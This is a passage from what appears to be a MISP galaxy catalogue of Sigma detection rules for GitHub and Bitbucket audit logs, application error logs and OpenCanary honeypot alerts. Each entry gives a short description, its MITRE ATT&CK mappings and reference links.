https://docs.github.com/en/repositories/archiving-a-github-repository/archiving-repositories
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_repository_archive_status_changed.yml

New Github Organization Member Added

Detects when a new member is added or invited to a github organization.

The tag is: *misp-galaxy:sigma-rules="New Github Organization Member Added"*

View relationships graph

New Github Organization Member Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

Table 16859. Table References

Links
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_new_org_member.yml

Outdated Dependency Or Vulnerability Alert Disabled

Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts. This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.

The tag is: *misp-galaxy:sigma-rules="Outdated Dependency Or Vulnerability Alert Disabled"*

View relationships graph

Outdated Dependency Or Vulnerability Alert Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001" with estimative-language:likelihood-probability="almost-certain"

Table 16860. Table References

Links

https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization
https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_disabled_outdated_dependency_or_vulnerability.yml

Github Fork Private Repositories Setting Enabled/Cleared

Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).

The tag is: *misp-galaxy:sigma-rules="Github Fork Private Repositories Setting Enabled/Cleared"*

View relationships graph

Github Fork Private Repositories Setting Enabled/Cleared has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 16861. Table References

Links
https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#private_repository_forking
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_fork_private_repos_enabled_or_cleared.yml

Github High Risk Configuration Disabled

Detects when a user disables a critical security feature for an organization.

The tag is: *misp-galaxy:sigma-rules="Github High Risk Configuration Disabled"*

View relationships graph

Github High Risk Configuration Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 16862. Table References

Links
https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions
https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise
https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_disable_high_risk_configuration.yml

Github Secret Scanning Feature Disabled

Detects if the secret scanning feature is disabled for an enterprise or repository.

The tag is: *misp-galaxy:sigma-rules="Github Secret Scanning Feature Disabled"*

View relationships graph

Github Secret Scanning Feature Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16863. Table References

Links
https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/about-secret-scanning
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_secret_scanning_feature_disabled.yml

Github Repository/Organization Transferred

Detects when a repository or an organization is being transferred to another location.

The tag is: *misp-galaxy:sigma-rules="Github Repository/Organization Transferred"*

View relationships graph

Github Repository/Organization Transferred has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 16864. Table References

Links
https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
https://docs.github.com/en/organizations/managing-organization-settings/transferring-organization-ownership
https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration
https://docs.github.com/en/migrations
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_repo_or_org_transferred.yml

Github Delete Action Invoked

Detects delete action in the Github audit logs for codespaces, environment, project and repo.

The tag is: *misp-galaxy:sigma-rules="Github Delete Action Invoked"*

View relationships graph

Github Delete Action Invoked has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"

Table 16865. Table References

Links
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_delete_action_invoked.yml

Github New Secret Created

Detects when a user creates action secret for the organization, environment, codespaces or repository.

The tag is: *misp-galaxy:sigma-rules="Github New Secret Created"*

View relationships graph

Github New Secret Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 16866. Table References

Links
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_new_secret_created.yml

Github SSH Certificate Configuration Changed

Detects when changes are made to the SSH certificate configuration of the organization.

The tag is: *misp-galaxy:sigma-rules="Github SSH Certificate Configuration Changed"*

View relationships graph

Github SSH Certificate Configuration Changed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 16867. Table References

Links
https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#ssh_certificate_authority
https://docs.github.com/en/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_ssh_certificate_config_changed.yml

Github Push Protection Bypass Detected

Detects when a user bypasses the push protection on a secret detected by secret scanning.

The tag is: *misp-galaxy:sigma-rules="Github Push Protection Bypass Detected"*

View relationships graph

Github Push Protection Bypass Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16868. Table References

Links
https://thehackernews.com/2024/03/github-rolls-out-default-secret.html
https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_push_protection_bypass_detected.yml

Github Outside Collaborator Detected

Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.

The tag is: *misp-galaxy:sigma-rules="Github Outside Collaborator Detected"*

View relationships graph

Github Outside Collaborator Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"

Table 16869. Table References

Links
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_outside_collaborator_detected.yml

GitHub Repository Pages Site Changed to Public

Detects when a GitHub Pages site of a repository is made public. This usually is part of a publishing process but could indicate or lead to potential unauthorized exposure of sensitive information or code.

The tag is: *misp-galaxy:sigma-rules="GitHub Repository Pages Site Changed to Public"*

View relationships graph

GitHub Repository Pages Site Changed to Public has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="almost-certain"

Table 16870. Table References

Links
https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events
https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms
https://docs.github.com/en/pages/getting-started-with-github-pages/creating-a-github-pages-site
https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_pages_site_changed_to_public.yml

Github Self Hosted Runner Changes Detected

A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.

The tag is: *misp-galaxy:sigma-rules="Github Self Hosted Runner Changes Detected"*

View relationships graph

Github Self Hosted Runner Changes Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 16871. Table References

Links
https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners
https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-operation

https://github.com/SigmaHQ/sigma/tree/master/rules/application/github/audit/github_self_hosted_runner_changes_detected.yml

Potential Server Side Template Injection In Velocity

Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.

The tag is: *misp-galaxy:sigma-rules="Potential Server Side Template Injection In Velocity"*

View relationships graph

Potential Server Side Template Injection In Velocity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16872. Table References

Links
https://antgarsil.github.io/posts/velocity/
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://github.com/SigmaHQ/sigma/tree/master/rules/application/velocity/velocity_ssti_injection.yml

Suspicious SQL Error Messages

Detects SQL error messages that indicate probing for an injection attack

The tag is: *misp-galaxy:sigma-rules="Suspicious SQL Error Messages"*

View relationships graph

Suspicious SQL Error Messages has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16873. Table References

Links
http://www.sqlinjection.net/errors
https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml

Django Framework Exceptions

Detects suspicious Django web application framework exceptions that could indicate exploitation attempts

The tag is: *misp-galaxy:sigma-rules="Django Framework Exceptions"*

View relationships graph

Django Framework Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16874. Table References

Links
https://docs.djangoproject.com/en/1.11/topics/logging/#django-security
https://docs.djangoproject.com/en/1.11/ref/exceptions/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml

Potential RCE Exploitation Attempt In NodeJS

Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.

The tag is: *misp-galaxy:sigma-rules="Potential RCE Exploitation Attempt In NodeJS"*

View relationships graph

Potential RCE Exploitation Attempt In NodeJS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16875. Table References

Links
https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
https://github.com/SigmaHQ/sigma/tree/master/rules/application/nodejs/nodejs_rce_exploitation_attempt.yml

OpenCanary - SMB File Open Request

Detects instances where an SMB service on an OpenCanary node has had a file open request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - SMB File Open Request"*

View relationships graph

OpenCanary - SMB File Open Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 16876. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_smb_file_open.yml

OpenCanary - VNC Connection Attempt

Detects instances where a VNC service on an OpenCanary node has had a connection attempt.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - VNC Connection Attempt"*

View relationships graph

OpenCanary - VNC Connection Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 16877. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_vnc_connection_attempt.yml

OpenCanary - SSH New Connection Attempt

Detects instances where an SSH service on an OpenCanary node has had a connection attempt.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - SSH New Connection Attempt"*

View relationships graph

OpenCanary - SSH New Connection Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16878. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ssh_new_connection.yml

OpenCanary - TFTP Request

Detects instances where a TFTP service on an OpenCanary node has had a request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - TFTP Request"*

View relationships graph

OpenCanary - TFTP Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Table 16879. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_tftp_request.yml

OpenCanary - FTP Login Attempt

Detects instances where an FTP service on an OpenCanary node has had a login attempt.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - FTP Login Attempt"*

View relationships graph

OpenCanary - FTP Login Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 16880. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ftp_login_attempt.yml

OpenCanary - HTTPPROXY Login Attempt

Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - HTTPPROXY Login Attempt"*

View relationships graph

OpenCanary - HTTPPROXY Login Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 16881. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_httpproxy_login_attempt.yml

OpenCanary - HTTP POST Login Attempt

Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - HTTP POST Login Attempt"*

View relationships graph

OpenCanary - HTTP POST Login Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16882. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_http_post_login_attempt.yml

OpenCanary - GIT Clone Request

Detects instances where a GIT service on an OpenCanary node has had Git Clone request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - GIT Clone Request"*

View relationships graph

OpenCanary - GIT Clone Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 16883. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_git_clone_request.yml

OpenCanary - SNMP OID Request

Detects instances where an SNMP service on an OpenCanary node has had an OID request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - SNMP OID Request"*

View relationships graph

OpenCanary - SNMP OID Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 16884. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_snmp_cmd.yml

OpenCanary - SIP Request

Detects instances where an SIP service on an OpenCanary node has had a SIP request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - SIP Request"*

View relationships graph

OpenCanary - SIP Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 16885. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_sip_request.yml

OpenCanary - SSH Login Attempt

Detects instances where an SSH service on an OpenCanary node has had a login attempt.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - SSH Login Attempt"*

View relationships graph

OpenCanary - SSH Login Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16886. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ssh_login_attempt.yml

OpenCanary - MySQL Login Attempt

Detects instances where a MySQL service on an OpenCanary node has had a login attempt.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - MySQL Login Attempt"*

View relationships graph

OpenCanary - MySQL Login Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 16887. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_mysql_login_attempt.yml

OpenCanary - REDIS Action Command Attempt

Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - REDIS Action Command Attempt"*

View relationships graph

OpenCanary - REDIS Action Command Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 16888. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_redis_command.yml

OpenCanary - MSSQL Login Attempt Via SQLAuth

Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - MSSQL Login Attempt Via SQLAuth"*

View relationships graph

OpenCanary - MSSQL Login Attempt Via SQLAuth has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 16889. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_mssql_login_sqlauth.yml

OpenCanary - Telnet Login Attempt

Detects instances where a Telnet service on an OpenCanary node has had a login attempt.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - Telnet Login Attempt"*

View relationships graph

OpenCanary - Telnet Login Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16890. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_telnet_login_attempt.yml

OpenCanary - MSSQL Login Attempt Via Windows Authentication

Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - MSSQL Login Attempt Via Windows Authentication"*

View relationships graph

OpenCanary - MSSQL Login Attempt Via Windows Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 16891. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_mssql_login_winauth.yml

OpenCanary - HTTP GET Request

Detects instances where an HTTP service on an OpenCanary node has received a GET request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - HTTP GET Request"*

View relationships graph

OpenCanary - HTTP GET Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 16892. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_http_get.yml

OpenCanary - NTP Monlist Request

Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.

The tag is: *misp-galaxy:sigma-rules="OpenCanary - NTP Monlist Request"*

View relationships graph

OpenCanary - NTP Monlist Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

Table 16893. Table References

Links
https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ntp_monlist.yml

Bitbucket User Login Failure

Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field.

The tag is: *misp-galaxy:sigma-rules="Bitbucket User Login Failure"*

View relationships graph

Bitbucket User Login Failure has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16894. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_user_login_failure_detected.yml

Bitbucket Secret Scanning Rule Deleted

Detects when secret scanning rule is deleted for the project or repository.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Secret Scanning Rule Deleted"*

View relationships graph

Bitbucket Secret Scanning Rule Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16895. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_secret_scanning_rule_deleted.yml

Bitbucket Global Permission Changed

Detects global permissions change activity.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Global Permission Changed"*

View relationships graph

Bitbucket Global Permission Changed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16896. Table References

Links
https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_global_permissions_change_detected.yml

Bitbucket Global SSH Settings Changed

Detects Bitbucket global SSH access configuration changes.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Global SSH Settings Changed"*

View relationships graph

Bitbucket Global SSH Settings Changed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

Table 16897. Table References

Links
https://confluence.atlassian.com/bitbucketserver/enable-ssh-access-to-git-repositories-776640358.html
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_global_ssh_settings_change_detected.yml

Bitbucket User Details Export Attempt Detected

Detects user data export activity.

The tag is: *misp-galaxy:sigma-rules="Bitbucket User Details Export Attempt Detected"*

View relationships graph

Bitbucket User Details Export Attempt Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"

Table 16898. Table References

Links
https://support.atlassian.com/security-and-access-policies/docs/export-user-accounts
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_user_details_export_attempt_detected.yml

Bitbucket Unauthorized Access To A Resource

Detects unauthorized access attempts to a resource.

